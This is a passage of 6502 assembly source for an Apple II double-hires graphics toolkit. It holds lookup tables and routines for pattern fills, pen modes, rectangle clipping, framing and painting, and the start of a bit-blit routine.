shift_5_main:
.byte $00,$00,$00,$00,$01,$01,$01,$01
.byte $02,$02,$02,$02,$03,$03,$03,$03
.byte $04,$04,$04,$04,$05,$05,$05,$05
.byte $06,$06,$06,$06,$07,$07,$07,$07
.byte $08,$08,$08,$08,$09,$09,$09,$09
.byte $0A,$0A,$0A,$0A,$0B,$0B,$0B,$0B
.byte $0C,$0C,$0C,$0C,$0D,$0D,$0D,$0D
.byte $0E,$0E,$0E,$0E,$0F,$0F,$0F,$0F
.byte $10,$10,$10,$10,$11,$11,$11,$11
.byte $12,$12,$12,$12,$13,$13,$13,$13
.byte $14,$14,$14,$14,$15,$15,$15,$15
.byte $16,$16,$16,$16,$17,$17,$17,$17
.byte $18,$18,$18,$18,$19,$19,$19,$19
.byte $1A,$1A,$1A,$1A,$1B,$1B,$1B,$1B
.byte $1C,$1C,$1C,$1C,$1D,$1D,$1D,$1D
.byte $1E,$1E,$1E,$1E,$1F,$1F,$1F,$1F
shift_6_aux:
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
.byte $00,$40,$00,$40,$00,$40,$00,$40
shift_6_main:
.byte $00,$00,$01,$01,$02,$02,$03,$03
.byte $04,$04,$05,$05,$06,$06,$07,$07
.byte $08,$08,$09,$09,$0A,$0A,$0B,$0B
.byte $0C,$0C,$0D,$0D,$0E,$0E,$0F,$0F
.byte $10,$10,$11,$11,$12,$12,$13,$13
.byte $14,$14,$15,$15,$16,$16,$17,$17
.byte $18,$18,$19,$19,$1A,$1A,$1B,$1B
.byte $1C,$1C,$1D,$1D,$1E,$1E,$1F,$1F
.byte $20,$20,$21,$21,$22,$22,$23,$23
.byte $24,$24,$25,$25,$26,$26,$27,$27
.byte $28,$28,$29,$29,$2A,$2A,$2B,$2B
.byte $2C,$2C,$2D,$2D,$2E,$2E,$2F,$2F
.byte $30,$30,$31,$31,$32,$32,$33,$33
.byte $34,$34,$35,$35,$36,$36,$37,$37
.byte $38,$38,$39,$39,$3A,$3A,$3B,$3B
.byte $3C,$3C,$3D,$3D,$3E,$3E,$3F,$3F
div7_table:
.byte $00,$00,$00,$00,$00,$00,$00
.byte $01,$01,$01,$01,$01,$01,$01,$02
.byte $02,$02,$02,$02,$02,$02,$03,$03
.byte $03,$03,$03,$03,$03,$04,$04,$04
.byte $04,$04,$04,$04,$05,$05,$05,$05
.byte $05,$05,$05,$06,$06,$06,$06,$06
.byte $06,$06,$07,$07,$07,$07,$07,$07
.byte $07,$08,$08,$08,$08,$08,$08,$08
.byte $09,$09,$09,$09,$09,$09,$09,$0A
.byte $0A,$0A,$0A,$0A,$0A,$0A,$0B,$0B
.byte $0B,$0B,$0B,$0B,$0B,$0C,$0C,$0C
.byte $0C,$0C,$0C,$0C,$0D,$0D,$0D,$0D
.byte $0D,$0D,$0D,$0E,$0E,$0E,$0E,$0E
.byte $0E,$0E,$0F,$0F,$0F,$0F,$0F,$0F
.byte $0F,$10,$10,$10,$10,$10,$10,$10
.byte $11,$11,$11,$11,$11,$11,$11,$12
.byte $12,$12,$12,$12,$12,$12,$13,$13
.byte $13,$13,$13,$13,$13,$14,$14,$14
.byte $14,$14,$14,$14,$15,$15,$15,$15
.byte $15,$15,$15,$16,$16,$16,$16,$16
.byte $16,$16,$17,$17,$17,$17,$17,$17
.byte $17,$18,$18,$18,$18,$18,$18,$18
.byte $19,$19,$19,$19,$19,$19,$19,$1A
.byte $1A,$1A,$1A,$1A,$1A,$1A,$1B,$1B
.byte $1B,$1B,$1B,$1B,$1B,$1C,$1C,$1C
.byte $1C,$1C,$1C,$1C,$1D,$1D,$1D,$1D
.byte $1D,$1D,$1D,$1E,$1E,$1E,$1E,$1E
.byte $1E,$1E,$1F,$1F,$1F,$1F,$1F,$1F
.byte $1F,$20,$20,$20,$20,$20,$20,$20
.byte $21,$21,$21,$21,$21,$21,$21,$22
.byte $22,$22,$22,$22,$22,$22,$23,$23
.byte $23,$23,$23,$23,$23,$24,$24,$24
.byte $24
mod7_table:
.byte $00,$01,$02,$03
.byte $04,$05,$06,$00,$01,$02,$03,$04
.byte $05,$06,$00,$01,$02,$03,$04,$05
.byte $06,$00,$01,$02,$03,$04,$05,$06
.byte $00,$01,$02,$03,$04,$05,$06,$00
.byte $01,$02,$03,$04,$05,$06,$00,$01
.byte $02,$03,$04,$05,$06,$00,$01,$02
.byte $03,$04,$05,$06,$00,$01,$02,$03
.byte $04,$05,$06,$00,$01,$02,$03,$04
.byte $05,$06,$00,$01,$02,$03,$04,$05
.byte $06,$00,$01,$02,$03,$04,$05,$06
.byte $00,$01,$02,$03,$04,$05,$06,$00
.byte $01,$02,$03,$04,$05,$06,$00,$01
.byte $02,$03,$04,$05,$06,$00,$01,$02
.byte $03,$04,$05,$06,$00,$01,$02,$03
.byte $04,$05,$06,$00,$01,$02,$03,$04
.byte $05,$06,$00,$01,$02,$03,$04,$05
.byte $06,$00,$01,$02,$03,$04,$05,$06
.byte $00,$01,$02,$03,$04,$05,$06,$00
.byte $01,$02,$03,$04,$05,$06,$00,$01
.byte $02,$03,$04,$05,$06,$00,$01,$02
.byte $03,$04,$05,$06,$00,$01,$02,$03
.byte $04,$05,$06,$00,$01,$02,$03,$04
.byte $05,$06,$00,$01,$02,$03,$04,$05
.byte $06,$00,$01,$02,$03,$04,$05,$06
.byte $00,$01,$02,$03,$04,$05,$06,$00
.byte $01,$02,$03,$04,$05,$06,$00,$01
.byte $02,$03,$04,$05,$06,$00,$01,$02
.byte $03,$04,$05,$06,$00,$01,$02,$03
.byte $04,$05,$06,$00,$01,$02,$03,$04
.byte $05,$06,$00,$01,$02,$03,$04,$05
.byte $06,$00,$01,$02,$03,$04,$05,$06
.byte $00,$01,$02,$03
;;; ============================================================
hires_table_lo:
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $80,$80,$80,$80,$80,$80,$80,$80
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $80,$80,$80,$80,$80,$80,$80,$80
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $80,$80,$80,$80,$80,$80,$80,$80
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $80,$80,$80,$80,$80,$80,$80,$80
.byte $28,$28,$28,$28,$28,$28,$28,$28
.byte $A8,$A8,$A8,$A8,$A8,$A8,$A8,$A8
.byte $28,$28,$28,$28,$28,$28,$28,$28
.byte $A8,$A8,$A8,$A8,$A8,$A8,$A8,$A8
.byte $28,$28,$28,$28,$28,$28,$28,$28
.byte $A8,$A8,$A8,$A8,$A8,$A8,$A8,$A8
.byte $28,$28,$28,$28,$28,$28,$28,$28
.byte $A8,$A8,$A8,$A8,$A8,$A8,$A8,$A8
.byte $50,$50,$50,$50,$50,$50,$50,$50
.byte $D0,$D0,$D0,$D0,$D0,$D0,$D0,$D0
.byte $50,$50,$50,$50,$50,$50,$50,$50
.byte $D0,$D0,$D0,$D0,$D0,$D0,$D0,$D0
.byte $50,$50,$50,$50,$50,$50,$50,$50
.byte $D0,$D0,$D0,$D0,$D0,$D0,$D0,$D0
.byte $50,$50,$50,$50,$50,$50,$50,$50
.byte $D0,$D0,$D0,$D0,$D0,$D0,$D0,$D0
hires_table_hi:
.byte $00,$04,$08,$0C,$10,$14,$18,$1C
.byte $00,$04,$08,$0C,$10,$14,$18,$1C
.byte $01,$05,$09,$0D,$11,$15,$19,$1D
.byte $01,$05,$09,$0D,$11,$15,$19,$1D
.byte $02,$06,$0A,$0E,$12,$16,$1A,$1E
.byte $02,$06,$0A,$0E,$12,$16,$1A,$1E
.byte $03,$07,$0B,$0F,$13,$17,$1B,$1F
.byte $03,$07,$0B,$0F,$13,$17,$1B,$1F
.byte $00,$04,$08,$0C,$10,$14,$18,$1C
.byte $00,$04,$08,$0C,$10,$14,$18,$1C
.byte $01,$05,$09,$0D,$11,$15,$19,$1D
.byte $01,$05,$09,$0D,$11,$15,$19,$1D
.byte $02,$06,$0A,$0E,$12,$16,$1A,$1E
.byte $02,$06,$0A,$0E,$12,$16,$1A,$1E
.byte $03,$07,$0B,$0F,$13,$17,$1B,$1F
.byte $03,$07,$0B,$0F,$13,$17,$1B,$1F
.byte $00,$04,$08,$0C,$10,$14,$18,$1C
.byte $00,$04,$08,$0C,$10,$14,$18,$1C
.byte $01,$05,$09,$0D,$11,$15,$19,$1D
.byte $01,$05,$09,$0D,$11,$15,$19,$1D
.byte $02,$06,$0A,$0E,$12,$16,$1A,$1E
.byte $02,$06,$0A,$0E,$12,$16,$1A,$1E
.byte $03,$07,$0B,$0F,$13,$17,$1B,$1F
.byte $03,$07,$0B,$0F,$13,$17,$1B,$1F
;;; ============================================================
;;; Routines called during PaintRect etc based on
;;; current_penmode
;; ZP usage
src_addr := $82 ; pointer to source bitmap
vid_addr := $84 ; pointer to video memory
left_bytes := $86 ; offset of leftmost coordinate in chars (0-39)
bits_addr := $8E ; pointer to pattern/bitmap
left_mod14 := $87 ; starting x-coordinate mod 14
left_sidemask := $88 ; bitmask applied to clip left edge of rect
right_sidemask := $89 ; bitmask applied to clip right edge of rect
src_y_coord := $8C
src_mapwidth := $90 ; source stride; $80 = DHGR layout
width_bytes := $91 ; width of rectangle in chars
left_masks_table := $92 ; bitmasks for left edge indexed by page (0=main, 1=aux)
right_masks_table := $96 ; bitmasks for right edge indexed by page (0=main, 1=aux)
left := $92
top := $94 ; top/starting/current y-coordinate
right := $96
bottom := $98 ; bottom/ending/maximum y-coordinate
clipped_left := $9B ; number of bits clipped off left side
clipped_top := $9D ; number of bits clipped off top side
fixed_div_dividend := $A1 ; parameters used by FixedDiv proc
fixed_div_divisor := $A3
fixed_div_quotient := $9F ; fixed 16.16 format
;; Text page usage (main/aux)
pattern_buffer := $0400 ; buffer for currently selected pattern (page-aligned)
bitmap_buffer := $0601 ; scratchpad area for drawing bitmaps/patterns
poly_maxima_links := $0428
poly_maxima_prev_vertex := $0468
poly_maxima_next_vertex := $04A8
poly_maxima_slope0 := $0528
poly_maxima_slope1 := $04E8
poly_maxima_slope2 := $0568
poly_maxima_slope3 := $05A8
poly_maxima_yl_table := $05E8
poly_vertex_prev_link := $0680
poly_vertex_next_link := $06BC
poly_xl_buffer := $0700
poly_xh_buffer := $073C
poly_yl_buffer := $0780
poly_yh_buffer := $07BC
.assert <pattern_buffer = 0, error, "pattern_buffer must be page-aligned"
.proc FillmodeCopy
lda (vid_addr),y
eor (bits_addr),y
eor fill_eor_mask
and right_sidemask
eor (vid_addr),y
bcc :+
loop: lda (bits_addr),y
eor fill_eor_mask
: and current_colormask_and
ora current_colormasks_or
sta (vid_addr),y
dey
bne loop
.endproc ; FillmodeCopy
.proc FillmodeCopyOnechar
lda (vid_addr),y
eor (bits_addr),y
eor fill_eor_mask
and left_sidemask
eor (vid_addr),y
and current_colormask_and
ora current_colormasks_or
sta (vid_addr),y
rts
.endproc ; FillmodeCopyOnechar
.proc FillmodeOr
lda (bits_addr),y
eor fill_eor_mask
and right_sidemask
bcc :+
loop: lda (bits_addr),y
eor fill_eor_mask
: ora (vid_addr),y
and current_colormask_and
ora current_colormasks_or
sta (vid_addr),y
dey
bne loop
.endproc ; FillmodeOr
.proc FillmodeOrOnechar
lda (bits_addr),y
eor fill_eor_mask
and left_sidemask
ora (vid_addr),y
and current_colormask_and
ora current_colormasks_or
sta (vid_addr),y
rts
.endproc ; FillmodeOrOnechar
.proc Fillmode2XOR
lda (bits_addr),y
eor fill_eor_mask
and right_sidemask
bcc :+
loop: lda (bits_addr),y
eor fill_eor_mask
: eor (vid_addr),y
and current_colormask_and
ora current_colormasks_or
sta (vid_addr),y
dey
bne loop
.endproc ; Fillmode2XOR
.proc Fillmode2XOROnechar
lda (bits_addr),y
eor fill_eor_mask
and left_sidemask
eor (vid_addr),y
and current_colormask_and
ora current_colormasks_or
sta (vid_addr),y
rts
.endproc ; Fillmode2XOROnechar
.proc FillmodeBIC
lda (bits_addr),y
eor fill_eor_mask
and right_sidemask
bcc :+
loop: lda (bits_addr),y
eor fill_eor_mask
: eor #$FF
and (vid_addr),y
and current_colormask_and
ora current_colormasks_or
sta (vid_addr),y
dey
bne loop
.endproc ; FillmodeBIC
.proc FillmodeBICOnechar
lda (bits_addr),y
eor fill_eor_mask
and left_sidemask
eor #$FF
and (vid_addr),y
and current_colormask_and
ora current_colormasks_or
sta (vid_addr),y
rts
.endproc ; FillmodeBICOnechar
;; Main fill loop.
.proc FillNextLine
cpx bottom ; fill done?
beq :+
inx
get_srcbits_jmp:
get_srcbits_jmp_addr := *+1
jmp start_fill_jmp ; patched to *_get_srcbits if there
; is a source bitmap
: rts
.endproc ; FillNextLine
;; Copy a line of source data from a non-display bitmap buffer to
;; the staging buffer at $0601.
.proc NDBMGetSrcbits
lda load_addr
adc src_mapwidth
sta load_addr
bcc :+
inc load_addr+1
: ldy src_width_bytes
:
load_addr := *+1
lda $FFFF,y ; off-screen BMP will be patched here
and #$7F
sta bitmap_buffer,y
dey
bpl :-
bmi shift_bits_clc_jmp
.endproc ; NDBMGetSrcbits
;; Copy a line of source data from the DHGR screen to the staging
;; buffer at $0601.
.proc DHGRGetSrcbits
index := $81
src_byte_off := $8A ; char offset within source line
ldy src_y_coord
inc src_y_coord
lda hires_table_hi,y
ora $80
sta src_addr+1
lda hires_table_lo,y
adc src_byte_off
sta src_addr
get_bits:
stx index
ldy #0
ldx #0
loop: sta HISCR
lda (src_addr),y
and #$7F
sta LOWSCR
offset1_addr := *+1
sta bitmap_buffer,x
lda (src_addr),y
and #$7F
offset2_addr := *+1
sta bitmap_buffer+1,x
iny
inx
inx
cpx src_width_bytes
bcc loop
beq loop
ldx index
shift_bits_clc_jmp:
clc
shift_bits_jmp:
shift_bits_jmp_addr := *+1
jmp shift_line_jmp ; patched to DHGRShiftBits when needed
.endproc ; DHGRGetSrcbits
shift_bits_clc_jmp := DHGRGetSrcbits::shift_bits_clc_jmp
;; Subprocedure used to shift bitmap data by a number of bits.
.proc DHGRShiftBits
index := $82
stx index
ldy src_width_bytes
lda #$00
loop: ldx bitmap_buffer,y
shift_main_addr := *+1
ora shift_1_main,x
offset2_addr := *+1
sta bitmap_buffer+1,y
shift_aux_addr := *+1
lda shift_1_aux,x
dey
bpl loop
offset1_addr := *+1
sta bitmap_buffer
ldx index
shift_line_jmp:
shift_line_jmp_addr := *+1
jmp DHGRNextLine ; patched to DHGRShiftLine when needed
.endproc ; DHGRShiftBits
shift_line_jmp := DHGRShiftBits::shift_line_jmp
;; Subprocedure used to shift bitmap data by an integral number of
;; chars.
.proc DHGRShiftLine
index := $82
stx index
ldx #0
ldy #0
loop:
offset1_addr := *+1
lda bitmap_buffer,x
sta HISCR
sta bitmap_buffer,y
sta LOWSCR
offset2_addr := *+1
lda bitmap_buffer+1,x
sta bitmap_buffer,y
inx
inx
iny
cpy width_bytes
bcc loop
beq loop
ldx index
jmp DHGRNextLine
.endproc ; DHGRShiftLine
;; Entry point to start bit blit kOperation.
.proc BitBlit
ldx top
clc
jmp FillNextLine::get_srcbits_jmp
.endproc ; BitBlit
;; Entry point to start fill after fill mode and destination have
;; been set.
.proc DoFill
ldx no_srcbits_addr ; Disable srcbits fetching
stx FillNextLine::get_srcbits_jmp_addr ; for fill kOperation.
ldx no_srcbits_addr+1
stx FillNextLine::get_srcbits_jmp_addr+1
ldx top
FALL_THROUGH_TO start_fill_jmp
.endproc ; DoFill
start_fill_jmp:
start_fill_jmp_addr := *+1
jmp DHGRStartFill ; patched to *_start_fill
;; Start a fill targeting a non-display bitmap (NDBM)
.proc NDBMStartFill
txa ; pattern y-offset
ldx #src_addr
jsr StartFillCommon
jmp DHGRGetSrcbits::get_bits
.endproc ; NDBMStartFill
;; Start a fill targeting the DHGR screen.
.proc DHGRStartFill
txa ; pattern y-offset
ldx #bits_addr
jsr StartFillCommon
next_line_jmp_addr := *+1
jmp DHGRNextLine
.endproc ; DHGRStartFill
.proc StartFillCommon
pha
ror a
ror a
ror a
and #$C0 ; to high 2 bits
ora left_bytes
sta $0,x
lda #>pattern_buffer
adc #0
sta $1,x
pla
tax
rts
.endproc ; StartFillCommon
;; Advance to the next line and fill (non-display bitmap
;; destination.)
.proc NDBMNextLine
lda vid_addr
clc
adc current_mapwidth
sta vid_addr
bcc :+
inc vid_addr+1
clc
: ldy width_bytes
jsr fillmode_jmp
jmp FillNextLine
.endproc ; NDBMNextLine
;; Set vid_addr for the next line and fill (DHGR destination.)
.proc DHGRNextLine
lda hires_table_hi,x
ora current_mapbits+1
sta vid_addr+1
lda hires_table_lo,x
clc
adc left_bytes
sta vid_addr
ldy #1 ; aux mem
jsr DHGRFillLine
ldy #0 ; main mem
jsr DHGRFillLine
jmp FillNextLine
.endproc ; DHGRNextLine
;; Fill one line in either main or aux screen memory.
.proc DHGRFillLine
sta LOWSCR,y
lda left_masks_table,y
ora #$80
sta left_sidemask
lda right_masks_table,y
ora #$80
sta right_sidemask
ldy width_bytes
FALL_THROUGH_TO fillmode_jmp
.endproc ; DHGRFillLine
fillmode_jmp:
jmp FillmodeCopy ; modified with fillmode routine
;; Address of jump used when drawing from a pattern rather than
;; source data bits.
no_srcbits_addr:
.addr start_fill_jmp
main_right_masks:
.byte $00,$00,$00,$00,$00,$00,$00
aux_right_masks:
.byte $01,$03,$07,$0F,$1F,$3F,$7F
main_left_masks:
.byte $7F,$7F,$7F,$7F,$7F,$7F,$7F
aux_left_masks:
.byte $7F,$7E,$7C,$78,$70,$60,$40
.byte $00,$00,$00,$00,$00,$00,$00
;; Tables used for fill modes
; Fill routines that handle >1 char between left and right limits.
fill_mode_table_low:
.byte <FillmodeCopy,<FillmodeOr,<Fillmode2XOR,<FillmodeBIC
.byte <FillmodeCopy,<FillmodeOr,<Fillmode2XOR,<FillmodeBIC
fill_mode_table_high:
.byte >FillmodeCopy,>FillmodeOr,>Fillmode2XOR,>FillmodeBIC
.byte >FillmodeCopy,>FillmodeOr,>Fillmode2XOR,>FillmodeBIC
; Fill routines that handle only 1 char.
fill_mode_table_onechar_low:
.byte <FillmodeCopyOnechar,<FillmodeOrOnechar,<Fillmode2XOROnechar,<FillmodeBICOnechar
.byte <FillmodeCopyOnechar,<FillmodeOrOnechar,<Fillmode2XOROnechar,<FillmodeBICOnechar
fill_mode_table_onechar_high:
.byte >FillmodeCopyOnechar,>FillmodeOrOnechar,>Fillmode2XOROnechar,>FillmodeBICOnechar
.byte >FillmodeCopyOnechar,>FillmodeOrOnechar,>Fillmode2XOROnechar,>FillmodeBICOnechar
;;; ============================================================
;;; SetPenMode
.proc SetPenModeImpl
lda current_penmode
ldx #0
cmp #4
bcc :+
ldx #$7F
: stx fill_eor_mask
rts
.endproc ; SetPenModeImpl
;; Called from PaintRect, DrawText, etc to configure
;; fill routines from mode.
.proc SetUpFillMode
x1 := $92
x2 := $96
x1_bytes := $86
x2_bytes := $82
add16 x_offset, x2, x2
add16 y_offset, bottom, bottom
add16 x_offset, x1, x1
add16 y_offset, top, top
lda x2+1
ldx x2
jsr DivMod7
sta x2_bytes
tya
rol a
tay
lda aux_right_masks,y
sta right_masks_table+1
lda main_right_masks,y
sta right_masks_table
lda x1+1
ldx x1
jsr DivMod7
sta x1_bytes
tya
rol a
tay
sty left_mod14
lda aux_left_masks,y
sta left_masks_table+1
lda main_left_masks,y
sta left_masks_table
lda x2_bytes
sec
sbc x1_bytes
set_width: ; Set width for destination.
sta width_bytes
ldx current_penmode
cmp #0
bne :+ ; Check if one or more than one is needed
lda left_masks_table+1 ; Only one char is needed, so combine
and right_masks_table+1 ; the left and right masks and use the
sta left_masks_table+1 ; one-char fill subroutine.
sta right_masks_table+1
lda left_masks_table
and right_masks_table
sta left_masks_table
sta right_masks_table
copylohi fill_mode_table_onechar_low,x, fill_mode_table_onechar_high,x, fillmode_jmp+1
rts
: copylohi fill_mode_table_low,x, fill_mode_table_high,x, fillmode_jmp+1
rts
.endproc ; SetUpFillMode
;;; Inputs: X = x lo, A = x hi
;;; Outputs: A = (x/2) / 7, Y = (x/2) % 7
.proc DivMod7
lsr a
bne :+
;; x < 512
txa
ror a
tax
lda div7_table,x
ldy mod7_table,x
rts
;; x >= 512
: txa
ror a
tax
php
lda div7_table+4,x
clc
adc #$24
plp
ldy mod7_table+4,x
rts
.endproc ; DivMod7
;; Set up destination (for either on-screen or off-screen bitmap.)
.proc SetDest
kDestNDBM = 0 ; draw to off-screen bitmap
kDestDHGR = 1 ; draw to DHGR screen
lda left_bytes
ldx top
ldy current_mapwidth
jsr NDBMCalcDest
clc
adc current_mapbits
sta vid_addr
tya
adc current_mapbits+1
sta vid_addr+1
lda #2*kDestDHGR
tax
tay
bit current_mapwidth
bmi on_screen ; negative for on-screen destination
copy16 #bitmap_buffer, bits_addr
jsr ndbm_fix_width
txa
inx
stx src_width_bytes
jsr SetUpFillMode::set_width
copy16 shift_line_jmp_addr, DHGRGetSrcbits::shift_bits_jmp_addr
lda #2*kDestNDBM
tax
tay
on_screen:
pha
lda next_line_table,x
sta DHGRStartFill::next_line_jmp_addr
lda next_line_table+1,x
sta DHGRStartFill::next_line_jmp_addr+1
pla
tax
copy16 start_fill_table,x, start_fill_jmp+1
copy16 shift_line_table,y, DHGRShiftBits::shift_line_jmp_addr
rts
.endproc ; SetDest
;; Fix up the width and masks for an off-screen destination,
ndbm_fix_width:
lda width_bytes
asl a
tax
inx
lda left_masks_table+1
bne :+
dex
inc bits_addr
inc16 vid_addr
lda left_masks_table
: sta left_sidemask
lda right_masks_table
bne :+
dex
lda right_masks_table+1
: sta right_sidemask
rts
;; kDestNDBM kDestDHGR
shift_line_jmp_addr:
.addr shift_line_jmp
start_fill_table:
.addr NDBMStartFill, DHGRStartFill
next_line_table:
.addr NDBMNextLine, DHGRNextLine
shift_line_table:
.addr NDBMNextLine, DHGRShiftLine
;; Set source for bitmap transfer (either on-screen or off-screen bitmap.)
.proc SetSource
kSrcNDBM = 0
kSrcDHGR = 1
ldx src_y_coord
ldy src_mapwidth
bmi :+
jsr MultXY
: clc
adc bits_addr
sta NDBMGetSrcbits::load_addr
tya
adc bits_addr+1
sta NDBMGetSrcbits::load_addr+1
ldx #2*kSrcDHGR
bit src_mapwidth
bmi :+
ldx #2*kSrcNDBM
: copy16 get_srcbits_table,x, FillNextLine::get_srcbits_jmp_addr
rts
;; kSrcNDBM kSrcDHGR
get_srcbits_table:
.addr NDBMGetSrcbits, DHGRGetSrcbits
.endproc ; SetSource
;; Calculate destination for off-screen bitmap.
.proc NDBMCalcDest
bmi on_screen ; do nothing for on-screen destination
asl a
MultXY:
stx $82
sty $83
ldx #8
loop: lsr $83
bcc :+
clc
adc $82
: ror a
ror vid_addr
dex
bne loop
sty $82
tay
lda vid_addr
sec
sbc $82
bcs on_screen
dey
on_screen:
rts
.endproc ; NDBMCalcDest
MultXY := NDBMCalcDest::MultXY
;;; ============================================================
;;; SetPattern
;; Expands the pattern to 8 rows of DHGR-style bitmaps at
;; $0400, $0440, $0480, $04C0, $0500, $0540, $0580, $05C0
;; (using both main and aux mem.)
.proc SetPatternImpl
;; Since expanding the pattern takes ~16000 cycles,
;; make sure it is necessary - compare to what we
;; already have expanded and expand if different.
ldx #7
: lda current_penpattern,x
cmp expanded_pattern,x
bne expand ; no, expand it
dex
bpl :-
rts ; yes, skip!
: lda current_penpattern,x
expand:
sta expanded_pattern,x
dex
bpl :-
lda #<pattern_buffer
sta bits_addr
lda y_offset
and #7
lsr a
ror bits_addr
lsr a
ror bits_addr
adc #>pattern_buffer
sta bits_addr+1
ldx #7
loop: txa
pha
lda x_offset
and #7
tay
lda current_penpattern,x
: dey
bmi :+
cmp #$80
rol a
bne :-
: ldy #$27
: tax
lsr a
sta LOWSCR
sta (bits_addr),y
txa
ror a
tax
lsr a
sta HISCR
sta (bits_addr),y
txa
ror a
dey
bpl :-
lda bits_addr
sec
sbc #$40
sta bits_addr
bcs next
ldy bits_addr+1
dey
cpy #>pattern_buffer
bcs :+
ldy #>pattern_buffer+1
: sty bits_addr+1
next: pla
tax
dex
bpl loop
sta LOWSCR
rts
expanded_pattern:
;; Randomly selected; just needs to not match any initial pattern.
.byte 19, 121, 11, 204, 183, 106, 212, 5
.assert * - expanded_pattern = 8, error, "pattern size"
.endproc ; SetPatternImpl
;;; ============================================================
;;; FrameRect
;;; 8 bytes of params, copied to $9F
.proc FrameRectImpl
left := $9F
top := $A1
right := $A3
bottom := $A5
ldy #3
rloop: COPY_BYTES 8, left, left_masks_table
ldx rect_sides,y
lda left,x
pha
lda $A0,x
ldx rect_coords,y
sta $93,x
pla
sta left_masks_table,x
sty frect_ctr
jsr DrawLine
frect_ctr := * + 1
ldy #0
dey
bpl rloop
COPY_BYTES 4, left, current_penloc
.endproc ; FrameRectImpl
prts: rts
rect_sides:
.byte 0,2,4,6
rect_coords:
.byte 4,6,0,2
.proc DrawLine
x2 := right
ldx current_penwidth ; Also: draw horizontal line $92 to $96 at $98
beq prts
dex
txa
clc
adc x2
sta x2
bcc :+
inc x2+1
: ldx current_penheight
beq prts
dex
txa
clc
adc bottom
sta bottom
bcc PaintRectImpl
inc bottom+1
FALL_THROUGH_TO PaintRectImpl
.endproc ; DrawLine
;;; ============================================================
;;; PaintRect
;;; 8 bytes of params, copied to $92
.proc PaintRectImpl
jsr CheckRect
DoPaint:
jsr ClipRect
bcc prts
jsr SetUpFillMode
jsr SetDest
jmp DoFill
.endproc ; PaintRectImpl
;;; ============================================================
;;; InRect
;;; 8 bytes of params, copied to $92
.proc InRectImpl
jsr CheckRect
ldax current_penloc_x
cpx left+1
bmi fail
bne :+
cmp left
bcc fail
: cpx right+1
bmi :+
bne fail
cmp right
bcc :+
bne fail
: ldax current_penloc_y
cpx top+1
bmi fail
bne :+
cmp top
bcc fail
: cpx bottom+1
bmi :+
bne fail
cmp bottom
bcc :+
bne fail
: EXIT_CALL MGTK::inrect_inside ; success!
fail: rts
.endproc ; InRectImpl
;;; ============================================================
;;; SetPortBits
.proc SetPortBitsImpl
sub16 current_viewloc_x, current_maprect_x1, x_offset
sub16 current_viewloc_y, current_maprect_y1, y_offset
rts
.endproc ; SetPortBitsImpl
;;; ============================================================
.proc ClipRect
lda current_maprect_x2+1
cmp left+1
bmi fail
bne in_left
lda current_maprect_x2
cmp left
bcs in_left
fail: clc
fail2: rts
in_left:
lda right+1
cmp current_maprect_x1+1
bmi fail
bne in_right
lda right
cmp current_maprect_x1
bcc fail2
in_right:
lda current_maprect_y2+1
cmp top+1
bmi fail
bne in_bottom
lda current_maprect_y2
cmp top
bcc fail2
in_bottom:
lda bottom+1
cmp current_maprect_y1+1
bmi fail
bne in_top
lda bottom
cmp current_maprect_y1
bcc fail2
in_top: ldy #0
lda left
sec
sbc current_maprect_x1
tax
lda left+1
sbc current_maprect_x1+1
bpl :+
stx clipped_left
sta clipped_left+1
copy16 current_maprect_x1, left
iny
: lda current_maprect_x2
sec
sbc right
tax
lda current_maprect_x2+1
sbc right+1
bpl :+
copy16 current_maprect_x2, right
tya
ora #$04
tay
: lda top
sec
sbc current_maprect_y1
tax
lda top+1
sbc current_maprect_y1+1
bpl :+
stx clipped_top
sta clipped_top+1
copy16 current_maprect_y1, top
iny
iny
: lda current_maprect_y2
sec
sbc bottom
tax
lda current_maprect_y2+1
sbc bottom+1
bpl :+
copy16 current_maprect_y2, bottom
tya
ora #$08
tay
: sty $9A
sec
rts
.endproc ; ClipRect
;;; ============================================================
.proc CheckRect
sec
lda right
sbc left
lda right+1
sbc left+1
bmi bad_rect
sec
lda bottom
sbc top
lda bottom+1
sbc top+1
bmi bad_rect
rts
bad_rect:
EXIT_CALL MGTK::Error::empty_object
.endproc ; CheckRect
;;; ============================================================
;;; 16 bytes of params, copied to $8A
src_width_bytes:
.res 1 ; width of source data in chars
.proc PaintBitsImpl
dbi_left := $8A
dbi_top := $8C
dbi_bitmap := $8E ; aka bits_addr
dbi_stride := $90 ; aka src_mapwidth
dbi_hoff := $92 ; aka left
dbi_voff := $94 ; aka top
dbi_width := $96 ; aka right
dbi_height := $98 ; aka bottom
dbi_x := $9B
dbi_y := $9D
offset := $82
ldx #3 ; copy left/top to $9B/$9D
: lda dbi_left,x ; and hoff/voff to $8A/$8C (overwriting left/top)
sta dbi_x,x
lda dbi_hoff,x
sta dbi_left,x
dex
bpl :-
sub16 dbi_width, dbi_hoff, offset
lda dbi_x
sta left
clc
adc offset
sta right
lda dbi_x+1
sta left+1
adc offset+1
sta right+1
sub16 dbi_height, dbi_voff, offset
lda dbi_y
sta top
clc
adc offset
sta bottom
lda dbi_y+1
sta top+1
adc offset+1
sta bottom+1
FALL_THROUGH_TO BitBltImpl
.endproc ; PaintBitsImpl
;;; ============================================================
;;; $4D BitBlt
;;; 16 bytes of params, copied to $8A
src_byte_off := $8A ; char offset within source line
bit_offset := $9B
shift_bytes := $81
.proc BitBltImpl
lda #0
sta clipped_left
sta clipped_left+1
sta clipped_top
lda bits_addr+1
sta $80
jsr ClipRect
RTS_IF_CC
jsr SetUpFillMode
lda width_bytes
asl a
ldx left_masks_table+1 ; need left mask on aux?
